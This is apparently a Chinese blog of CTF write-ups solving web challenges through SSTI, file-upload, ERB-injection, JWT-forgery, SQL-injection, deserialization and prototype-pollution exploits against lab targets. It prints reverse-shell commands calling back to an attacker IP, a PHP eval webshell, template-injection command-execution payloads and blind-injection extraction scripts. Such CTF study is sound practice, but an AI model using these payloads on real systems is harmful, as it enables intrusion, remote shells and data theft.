为了能在内网有一个攻击机,于是根据题目提示申请一个小号然后再basic里面起一个linux lab。
用xshell连接,账号密码已经在信息里面给出了。
查看攻击机自己的ip 172.16.191.32
way 1
攻击机应该自带了apache,进入/var/www/html/下,创建一个txt命令文件文件,用于反弹shell。
在命令文件里写入命令:bash -i >& /dev/tcp/172.16.191.32/4444 0>&1
,ip为攻击机的ip,port自定义。
然后用nc监控本地的4444端口。 nc -lvvp 4444
然后回到靶机的页面,用curl命令让靶机连上攻击机。 girl_friend=curl http://172.16.191.32/shell.txt|bash
不知道为什么这种方式一直反弹不成功。。。
可能是本地服务没启吧
way 2
import urllib2
response = urllib2.urlopen('127.0.0.1')
code = response.getcode()
cont = response.read()
也可以直接在攻击机上监听本机端口。
然后直接让靶机本机 girl_friend=nc 172.16.191.32 4455 -e /bin/bash
也能实现反弹shell。
接下来就是去慢慢找flag。本来是想写一个shell的,不过啥权限都没有,就直接用find命令找。
find -name flag
cat /etc/demo/P3rh4ps/love/you/flag
拿到flag。
[CSCCTF 2019 Qual]FlaskLight(ssti模板注入)
知识点
ssti模板注入
现在一看到flask,就自动想到了模板注入,不过本题注入点不是很明显。
打开源代码,发现注入的变量是search,传参是get。
way 1
查找object基类
{{[].__class__.__bases__}}
找到os方法,不过这里没有。可是有类<class ‘warnings.catch_warnings’>,没有内置os模块在第59位;<class ‘site._Printer’> 内含os模块 在第71位。
{{[].__class__.__base__.__subclasses__()}}
这里先尝试内含os模块的类<class ‘site._Printer’>。
用.init.globals查找os,init初始化类,globals全局查找方法变量参数
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']}}
造成了500服务器错误,这里猜测是有黑名单将globals过滤了。尝试用字符串拼接绕过。
{{[].__class__.__base__.__subclasses__()[71].__init__['__gl'+'obals__']['os']}}
接下来用popen尝试执行ls命令,成功。
{{[].__class__.__base__.__subclasses__()[71].__init__['__gl'+'obals__']['os']['popen']('ls').read()}}
既然都能执行命令了,接下来就该找flag了,一般来说,在根目录下都应该能找到吧,不过这里没有。用find命令也啥也没找到。
后来发现flag在flasklight下,名字还不是叫flag,难怪find没找到。
拿到flag
{{[].__class__.__base__.__subclasses__()[71].__init__['__gl'+'obals__']['os']['popen']('cat /flasklight/coomme_geeeett_youur_flek').read()}}
way 2
利用不含os模块的类warnings.catch_warnings也能实现命令执行。
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}
else
看了师傅的write up利用popen类也可
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
---------day5---------
[RootersCTF2019]I_❤️_Flask(ssti,arjun)
知识点
jinja2模板注入
arjun工具查找注入点
拿到网站后不知道该怎么搞,啥也没有。也没什么能转跳的页面,虽然知道可能是模板注入,可也不知道注入点。
扫描了一圈,啥也没有。
看了下师傅的write up,可以用脚本把注入点跑出来。
测试了下输入点,这里用的是jinja2模板。
如果输入{{7*’7’}}如果 输出7777777 则是jinja2模板
如果是 49 则是 twig模板
知道注入点,和什么模板后,就好办了,一切按照流程来就行了。
way 1
先找可利用的类:
{{().__class__.__bases__}}
找到可利用的类,这里找到的是<class ‘warnings.catch_warnings’>类,虽然没有内置os模块。不过也能利用。
{{().__class__.__bases__[0].__subclasses__()}}
用.init.globals查找可用类,init初始化类,globals全局查找方法变量参数,这里可以利用内置函数eval。
{{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__}}
利用内置的eval函数输出当前目录的文件。
{{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
cat查看flag.txt
{{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
way 2
利用官方的payload:
查找
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
读取flag.txt
[WUSTCTF2020]CV Maker(上传)
知识点
apache解析文件名不包含jpg等
图片文件头
打开页面是一个cv maker的站。先注册,然后登录。
登录成功后,转挑到了一个人的主界面,这么大的两个上传摆着,盲猜是上传木马拿shell。
文件的上传至少应该有一个exif_imagetype()函数进行检测。
见到exif_imagetype()这个函数,让我想起了之前做过的题。([SUCTF 2019]CheckIn,[SUCTF 2019]EasyWeb)两道题的解法都是上传配置文件,(.user.ini/.htaccess)然后靠着配置文件用服务器解析文件里的代码。
上传.user.ini后,发现目录下应该是没有php文件可用作访问。
上传.htaccess却又被拦截下来了。
上传图片马,可是蚁剑连不上啊。
网页报错,用的是apace的服务器。
这时可以利用apache的解析文件名的特性:从右向左读的遇到不能识别的就跳过,jpg等扩展名是apache识别不了的。
所以这里上传1.jpg.php,上传成功后可以找到路径,而且保存为了php文件。
不过用蚁剑还是连不上,这时加上一个图片的文件头。GIF89a
重新上传。
用蚁剑成功连接。
根目录下找到flag
Ezaudit
[SCTF2019]Flag Shop(JWT,ruby web)
知识点
JWT伪造
ruby web注入
好家伙,用20买1000000000000的东西,以前做过类似题,靠的是伪造coockie。
查看robots.txt发现有一个目录。
访问可以得到源码,看到了jwt。估计和这一个有关。
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
百度了下解题方法,又学习了一波新知识:[Ruby ERB注入][https://www.anquanke.com/post/id/86867]
/work
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
上面是重点代码
如果传入的参数do与name一致的话,就会输出:params[:name][0,7]} working successfully!
抓包work页面,构造payload。
ruby预定义变量:https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html
$'-最后一次成功匹配右边的字符串
构造do=<%=$’%>,得把里面内容转成十六进制
所以最终的payload:
work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
回显拿到了JWT的加密文本。
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhOWE3MmU4MC02NjJjLTQ2NmYtYmM4Yi05NWM5OTgzNjJhMWUiLCJqa2wiOjM0fQ.t2R9sDCuTBHZwoa5XWXcD_76D_w5U9eOHh7419_Jv6Q
还拿到了
secret:a388fad6fe8074a751b08efbeea2fe70f369f224ba17028e695a2058ba6a4f03653080884811b07d2f5cae41e5a2c05bd361521b72067c22b261e31c9663dbfd
解密网站:https://jwt.io/#debugger-io
解密后修改JWT,jkl后就是你的money,然后再在secret下添加刚才拿到的secret。
新的JWT:
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhOWE3MmU4MC02NjJjLTQ2NmYtYmM4Yi05NWM5OTgzNjJhMWUiLCJqa2wiOjEuMmUrMjh9.6j0oRNFHsk9wO-uTCXjntCHaA0wZROfpBB-G8IpMrSU
然后抓包shop界面的buy flag,将JWT改为刚改好的。
又会回显一段JWT,这时将它拿去解密,得到flag。
---------day6---------
[GKCTF2020]老八小超市儿
知识点
shopxo漏洞 CVE-2019-5886
这是做题的关键,本题解法基于此漏洞。
访问默认后台admin.php,账户密码是admin/shopxo,登录进入后台。
主题管理里面能上传主题安装包文件。
发现应用商店里恰好有默认主题。
将主题下载,写个一句话放进去,
<?php @eval($_POST['shell']); echo "success";?>
然后将整个主题包上传。
通过主题的预览图拿到上传路径。
http://1e485017-fb15-4db9-a69f-7a42129f2b3d.node3.buuoj.cn/public/static/index/default/test.php
测试是否上传成功。
用蚁剑连接。
终端查看根目录文件。
有一个假的flag,flag在root下,可没权限查看。
查看根目录下文件的权限。auto.sh为root权限,而且会每隔60s运行一遍python脚本。
查看python脚本。
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()
s = open("/root/flag","r").read()
f.write(s)
发现有修改此脚本的权限,修改代码,读取flag并写入flag.hint里面。
查看flag.hint,flag已经被写进去了。
[MRCTF2020]Ezaudit
知识点
mt_srand()函数随机数可预测
扫描后台,发现有www.zip文件。
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html'); // 若用户名或密码为空,则转跳会登陆地址
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' ) // 判断密钥,这里没给出
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){ // 数据库操作
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) { // 公钥
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) { // 密钥
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key??? // 给出了公钥
代码最后一行给出了公钥,用公钥去得到密钥。
mt_srand()函数,伪随机数,可以预测它的随机数,只要种子值就行了。
首先将字符串转换成脚本可读的字符串。
# -*- coding: utf-8 -*-
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
key = 'KVQP0LdJKRaV3n9D'
m = ''
for i in key:
for j in range(len(s)):
if i == s[j]:
m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)
# 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
接下来得用到一个脚本php_mt_seed:https://github.com/lepiaf/php_mt_seed
把脚本拿到kali里,先make一下,然后跑脚本出种子为 1775196155 。
有了种子就能算出密钥了。
XuNhoueCDCGc
这时再访问login.html登录。有了密钥,还差密码。
用万能密码绕过,拿到flag。
[GYCTF2020]Ezsqli
知识点
无列名注入
fuzz了一下。
连information都给过滤了,
当1=2时,回显为V&N;当1=1时,回显为Nu1L;
因为information被过滤了,information_schema不可用,利用sys.schema_table_statistics_with_buffer表。
payload:
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()
脚本:
查表
import requests
url = 'http://dfd4c77d-3d7b-4efa-ab87-f13e2c41c8a4.node3.buuoj.cn/index.php'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break
表名出来后,需要使用无列名注入。
payload:
0^((1,' g')>(select * from f1ag_1s_h3r3_hhhhh))
脚本:
import requests
url = 'http://6c05130d-3668-41d6-9ad6-5e69ce00e0cc.node3.buuoj.cn/index.php'
x=''
for j in range(1,50):
for i in range(33,127):
flag=x+chr(i)
payload = "1&&((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag)
data={
'id':payload
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
x=x+chr(i-1)
print(x)
break
跑出flag
---------day7---------
[CISCN2019 总决赛 Day2 Web1]Easyweb
知识点
盲注
扫描后台发现有robots.txt,提示有备份文件。
经过测试发现有image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
分析下源码:
可以传递id和path两个参数
addslashes()函数:
会将特殊的字符转义,比如:'
会被转义为\'
;\
会转义为\\
str_replace():
在这里会将"\\0","%00","\\'","'"
中的任意一个替换成空。
这里可以用id和path两个参数触发sql注入,前提得先绕过过滤。
想办法绕过过滤,主要就是为了破坏单引号,可以利用转义字符或者单引号破坏,但是单引号会被替代,只能考虑 \ 。
如果参数中含有斜杠或者单引号时,会被加上一个斜杠来转义。这里如果参数id为\0
,id就会先变成\\0
,之后\0
会被替换掉,就剩下一个\
,这时sql语句就会变成:
select * from images where id='\' or path='{$path}';
就可以在path处注入新语句。
exp:
import requests
import time
def exp(url_format,length=None):
rlt = ''
url = url_format
if length==None:
length = 30
for l in range(1,length+1):
# 从可打印字符开始
begin = 32
ends = 126
tmp = (begin+ends)//2
while begin<ends:
r = requests.get(url.format(l,tmp))
if r.content!=b'':
begin = tmp+1
tmp = (begin+ends)//2
else:
ends = tmp
tmp = (begin+ends)//2
# 可删除,毕竟一般库表列里都没有空格
if tmp==32:
break
rlt+=chr(tmp)
print(rlt)
return rlt.rstrip()
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
# database 得到了是ciscnfinal,此外由于单引号不能绕过,所以用到字符串比较的时候可以借助十六进制串来表示,接下来用其16进制表示
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://22e1a52b-ef95-4405-8159-b03e4beb67b9.node3.buuoj.cn/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))
跑出来的账户密码:
登录,可以上传文件。
无法直接上传php,将后缀改为phtml可实现绕过,。
访问给的路径,有全部上传成功的文件,这应该是将文件名写进了日志里面。
于是用文件名写马,因为会过滤带php的文件名,可以用php短标签绕过。
连接蚁剑,拿到flag。
[NCTF2019]SQLi
知识点
regexp注入
给出了sql语句。
扫描后台有robots.txt,打开后有提示hint.txt。
hint.txt:
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
// 过滤的参数
If $_POST['passwd'] === admin's password, // 要求 admin 的 password
Then you will get the flag;
sql语句:select * from users where username='' and passwd=''
和上道题一样用\转义掉 ’ ;然后可以用/**/绕过空格,%00当作注释符。
regexp可用,利用其绕过过滤。
username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00
burp suite跑下正确的回显,方便写脚本。
脚本
#coding:utf-8
import requests
import time
import string
url = "http://fd3ef70a-2e05-427c-ae93-ca4d784d33f1.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
payload = ''
for n in range(100):
print(n)
for i in str_list:
data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)
传参拿到flag
020-网鼎杯-朱雀组-Web-phpweb
知识点
反序列化
php伪协议
定时刷新有点恶心,抓包。
date是一个函数 后面是他的参数 猜测这里使用了 call_user_func()函数
给func传参,call_user_func()函数会将第一个参数当作回调函数使用
RCE远程代码执行
这里涉及到了 RCE远程代码执行。
用文件包含函数file_get_contents(readfile也可)上传index.php
给出了源码。
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
可是这个黑名单过滤了绝大部分函数。
反序列化
两个参数没有进行过滤,且调用了魔术函数 ,而且黑名单之中没有unserialize()
这就需要用到刚才提到的**反序列化
**了
exp:
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
// rsult: O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
?>
这个目录下没有flag,在根目录下查找了。
<?php
class Test {
var $p = "find / -name *flag*";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
// rsult: O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
?>
payload查看flag: func=readfile&p=/tmp/flagoefiu4r93
[GYCTF2020]Ez_Express
知识点
原型链污染 rce
提示用admin登录,万能密码绕过不了。
注册一个小号登录进去,在源代码里发现有提示。
访问之将代码下载下来,先审routes下的代码。
看到其中有clone,merge函数,这时可以向原型链污染上靠,找污染点。
一个师傅找污染点的思路就是让__proto__
解析为一个键名。
tips
byc师傅blog的总结:
总结下:
1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始
2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。
3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
找到clone():
可只能admin账户才能调用clone()
而且会直接将他户名大写写入session里
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
于是接着去查看/login:
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
发现注册的用户名不能为admin(大小写都不行)
发现'user':req.body.userid.toUpperCase()
可用字符绕过实现admin注册。
具体可以看PHITHON师傅的技巧:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
两个字符:“ı”、“ſ”。
这两个字符经过toUpperCase()函数后:“ı”.toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’;可以绕过一些小限制,这里恰好能用上。
用admın注册(注意这和amdin有所不同)。
成功登录进去了,右边还有提示flag in /flag。
原型链污染部分。
找到污染的参数,可以看到在/info下,使用outputFunctionName渲染入index中,但是outputFunctionName未定义。
router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); })
res.outputFunctionName=undefined;
所以可以利用污染outputFunctionName进行ssti。
抓action的包(喜欢的语言),然后将Content-Type
改为:application/json
。
然后上payload(payload构造方法:https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/):
{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}
然后访问/info,可以将info下下来,用sublime打开,看到flag。
标签:,__,.__,__.__,flag,file,php 来源: https://blog.csdn.net/qq_43478096/article/details/111590202